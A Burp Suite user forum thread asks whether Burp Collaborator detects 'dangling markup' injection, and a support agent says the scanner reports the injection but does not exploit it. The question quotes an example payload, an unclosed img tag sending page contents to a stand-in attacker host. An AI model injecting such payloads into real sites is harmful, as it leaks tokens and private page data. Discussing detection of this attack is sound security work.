Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Does Burp Collaborator test for "dangling markup" vulnerabilities?

McGuire, | Last updated: Apr 03, 2017 10:55PM UTC

This article on github (https://githubengineering.com/githubs-post-csp-journey/?utm_source=webopsweekly&utm_medium=email ) outlines an attack where an attacker injects an unclosed img tag <img src='https://some-evil-site.com/log_csrf?html= which then includes everything until the matching quote in a request to some-evil-site, potentially sending sensitive data. Question, does burp collaborator find issues like this? Thanks

PortSwigger Agent | Last updated: Apr 04, 2017 09:54AM UTC

In this situation, Burp Scanner checks for various XSS-style injection vectors, including image tags, and will report these to the user. It doesn't attempt to actively exploit the issue to exfiltrate data via Burp Collaborator. You could do this easily enough with the manual Burp Collaborator client and your own payloads.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.